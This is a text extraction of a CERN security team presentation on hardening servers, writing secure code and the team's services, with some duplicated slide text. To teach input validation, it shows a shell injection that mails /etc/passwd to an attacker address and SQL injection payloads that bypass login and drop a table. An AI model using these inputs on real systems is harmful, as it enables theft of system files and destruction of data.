Securing your servers and code (and how we can help you)

Sebastian LopienskiCERN Computer Security Team

Securing your servers and code(and how we can help you)

Dr. Stefan Lüders (CERN IT/CO) ― DESY ― 20. Februar [email protected] — “Computer Security Day” — slide 2

Outline

►How to secure your servers

►How to secure your code

►How the Computer Security Team can help you


Things to avoid

Security measures that

can be easily bypassedSecurity measures that

can be easily bypassed

How to secure your servers

Part 1:


Checklist

1. Harden the OS and Applications

2. Keep the OS and Applications up-to-date

3. Use a local firewall

4. Take advantage of the logs

5. Ensure that all passwords are secure

6. Take extra precautions for privileged accesses

7. Use security products when relevant

8. Take into account physical security

9. Keep your security knowledge up-to-date.


1. Harden the OS & applications

►minimise the number of

packages installed

accounts enabled

network services offered privileged processes running

(this includes running with least privileges whenever possible)

► tighten the configuration of the major services (this includes limiting access to the minimum)

Why?► to limit exposure ► to limit number of components that you have to secure


2. Keep the OS & apps updated

► install all the security patches as soon as possible

► ideally, use a system that automates patching

this applies to the OS and to all the software installed on the server, and especially to network services

Why?► to close known vulnerabilities in OS and software►and to make sure that patching is not forgotten in the future


3. Use a local firewall

► install a local firewall configured to only allow what is expected (i.e. default policy is deny)

► ideally, also filter outgoing network traffic

Why?► to limit exposure (by restricting incoming traffic)► to prevent criminals using backdoors and remote access

(by restricting incoming and outgoing traffic)


4. Take advantage of the logs

►select appropriate logging levels for all sensitive components

► frequently review the logs to detect suspicious activity

► ideally, store the logs remotely to avoid tampering e.g. to Central Security Logging service

http://cern.ch/security/services/en/csl.shtml

Why?► to detect attacks and incidents► to be able to investigate them (find reasons, and learn from them)


Things to avoid

Security measures that get disabled with time, when new features are installed

Security measures that get disabled with time, when new features are installed


►make sure that the passwords used are good enough

(ideally, enforce this with the appropriate tools)

the passwords are not exposed (this includes using encrypted protocols such as https, or services like SINDES)

the passwords are changed regularly

this applies also to other authentication methods, e.g. SSH keys

Why?►because weak and badly protected passwords

are very common attack vectors

5. Ensure password security


6. Precautions for privileged access

► restrict privileged accesses to the bare minimum

►use delegation to minimise the number of operations requiring full privileges (for instance use sudo on Unix/Linux)

► log all actions executed with system privileges

Why?►because privileged access is what criminals are after


7. Use relevant security products

►anti-virus(ideally, with automatic signature update)

► Intrusion Detection Systems(both host-based and network-based)

► integrity checkers to detect system modifications

e.g. rpm –V, Tripwire, rkhunter, chkrootkit;see also http://cern.ch/security/faq/en/rootkits.shtml

Why?►because they help prevent and detect intrusions


Things to avoid

Security solutions

that do not cover the

whole exposure areaSecurity solutions

that do not cover the

whole exposure area


8. Physical access

► take into account physical security (when relevant)

Why?►because malicious person with physical access

can bypass most protections (e.g. directly log in as root)


9. Security knowledge

►keep your security knowledge up-to-date

visit http://cern.ch/security/reports to read/watch: monthly security reports for CERN security reports from SWITCH CERT various presentations etc.

follow security training,

or just contact [email protected]

Why?► to learn about threats, attack vectors etc.,

and protect yourself - before they affect you


Be lazy, and delegate!

If you manage a server for your experiment,consider making it a VOBOX

►many of the points discussed above will be done for you !►contact your VO Coordinator for details

How to secure your code

Part 2:


Software is vulnerable

Vulnerabilities

reported yesterdayVulnerabilities

reported yesterday

Fro

m

secu

nia

.co

m


When to start?

Security should be foreseen as part of the system from the very beginning, not added as a layer at the end► the latter solution produces insecure code

(tricky patches instead of neat solutions)► it may limit functionality ►and will cost much more

You can’t add security

in version 2.0You can’t add security

in version 2.0


Software life-cycle

requirements

design

implementation

testing

deployment

maintenance

Security must be

part of all these

phases!

Security must be

part of all these

phases!


Architecture

►Modularity: divide program into semi-independent parts►small, well-defined interfaces to each module/function

► Isolation: ►each part should work correctly even if others fail

(return wrong results, send requests with invalid arguments)

►Defense in depth: build multiple layers of defense

►Simplicity (complex => insecure)


Multiple layers of defense

XIII century

XXI century


Complexity

Sys

tem

cal

ls i

n A

pac

he

Sys

tem

cal

ls i

n A

pac

he


Complexity

Sys

tem

cal

ls i

n I

ISS

yste

m c

alls

in

IIS


Design – (some) golden rules

Make security-sensitive parts of your code small

Least privilege principle►program should run on the least privileged account possible►same for accessing databases, files etc.► revoke a privilege when it is not needed anymore

Choose safe defaults; deny by default

Fail gracefully and securely

Question again your assumptions, decisions etc.


Things to avoid

Procedures or docs that

are impossible to follow;

code impossible to maintainProcedures or docs that

are impossible to follow;

code impossible to maintain


Implementation

@P=split//,".URRUU\c8R";@d=split//,"\nrekcah xinU / lreP rehtona tsuJ";sub p{@p{"r$p","u$p"}=(P,P);pipe"r$p","u$p";++$p;($q*=2)+=$f=!fork;map{$P=$P[$f|

ord($p{$_})&6];$p{$_}=/^$P/ix?$P:close$_}keys

%p}p;p;p;p;p;map{$p{$_}=~/^[P.]/&& close$_}%p;wait until$?; map{

/^r/&&<$_>}%p;$_=$d[$q];sleep rand(2) if/\S/;print

@P=split//,".URRUU\c8R";@d=split//,"\nrekcah xinU / lreP rehtona tsuJ";sub p{@p{"r$p","u$p"}=(P,P);pipe"r$p","u$p";++$p;($q*=2)+=$f=!fork;map{$P=$P[$f|

ord($p{$_})&6];$p{$_}=/^$P/ix?$P:close$_}keys

%p}p;p;p;p;p;map{$p{$_}=~/^[P.]/&& close$_}%p;wait until$?; map{

/^r/&&<$_>}%p;$_=$d[$q];sleep rand(2) if/\S/;print

►What does this code do?►Would you like to work on it?► Is it secure?

Write good quality, maintainable, self-documenting code!


Enemy number one: Input data

►Don’t trust input data – input data is the single most common reason of security-related incidents


Enemy #1: Input data (cont.)

Example: your script sends e-mails with the following shell command:cat confirmation | mail $email

and someone provides the following e-mail address:[email protected]; cat /etc/passwd | mail [email protected]

cat confirmation | mail [email protected];

cat /etc/passwd | mail [email protected]


Enemy #1: Input data (cont.)

Example (SQL Injection): your webscript authenticates users against a database:

select count(*) from users where name = ’$name’ and pwd = ’$password’;

but an attacker provides one of these passwords:

anything’ or ’x’ = ’x

XXXXX’; drop table users; --

select count(*) from users where name = ’$name’ and pwd = ’anything’ or ’x’ = ’x’;

select count(*) from users where name = ’$name’ and pwd = ’XXXXX’; drop table users; --’;


Input validation

Input validation is crucial

Consider all input dangerous until proven valid

Default-deny rule►allow only “good” characters and formulas and reject others

(instead of looking for “bad” ones)

►use regular expressions

Validation at different levels:►at input data entry point

► right before taking security decisions based on that data


Coding – advice (cont.)

Separate data from code:►Careful with shell and eval function

►sample line from a Perl script: system(”rpm –qpi $filename”);but what if $filename contains illegal characters: | ; ` \

►popen() also invokes the shell indirectly►same for open(FILE, ”grep –r $needle |”);►similar: eval() function (evaluates a string as code)

►Use parameterized SQL queries to avoid SQL injection:

$query = ”select count(*) from users where name = $1 and pwd = $2”;

pg_query_params($connection, $query, array($login, $password));


Temporary file – or is it?►symbolic link attack: someone guesses the name of your temporary

file, and creates a link from it to another file (i.e. /bin/bash)

►good temporary file has a name that is hard to guess►use tmpfile() (C/C++), mktemp shell command or similar

Coding – advice (cont.)

/tmp/mytmpfile /bin/bash

/root/myscript.sh

writes data

symbolic link


Source code static analysis tools

Tools that analyse source code, and look for potential:►security holes► functionality bugs (including those not security related)

Recommendations for C/C++, Java, Python, Perl, PHPavailable at http://cern.ch/security/recommendations/en/code_tools.shtml►RPMs provided, some available on LXPLUS► trivial to use

There is no magic:►even the best tool will miss most non-trivial errors► they will just report the findings, but won’t fix the bugs

Still, using code analysis tools is highly recommended!

These tools will help you

develop better codeThese tools will help you

develop better code


Code tools: FindBugs / Java


Code tools: pychecker / Python


Code tools: Pixy / PHP


Things to avoid

Security toolsthat are disabled, or impossible to use

Security toolsthat are disabled, or impossible to use

How the Computer Security Team can help you

Part 3:


Things to avoid

Incomplete protection measures that become “temporary” forever

Incomplete protection measures that become “temporary” forever


How we(*) can help you

(*) we = CERN Computer Security Team

Web and machine scanning► vulnerability assessment – black box testing► automatic scans, but also on demand ([email protected])

source code tools

Central Logging Service

training courses

security audits and risk assessment

(plus of course intrusion detection, incident investigation and response etc.)


Training

Security courses available at CTA (http://cta.cern.ch)

freefree

freefree


Audits, risks assessments etc.

The Computer Security Team can assist you with:►Threat modelling and risk assessment

to ensure that risks are correctly managed, and no major threat is neglected

►Designing system security architecture when starting a new system or software project

►Security code reviews before deploying developed code

►Security audits of existing systems when maintaining existing systems or software

Don’t hesitate to contact [email protected]


The new Web site

Check out our new Web site

http://cern.ch/security


Thank you

Any questions?

http

://w

ww

.flic

kr.c

om/p

hoto

s/ca

lave

ra/6

5098

350

Documents

Securing your servers and code (and how we can help you)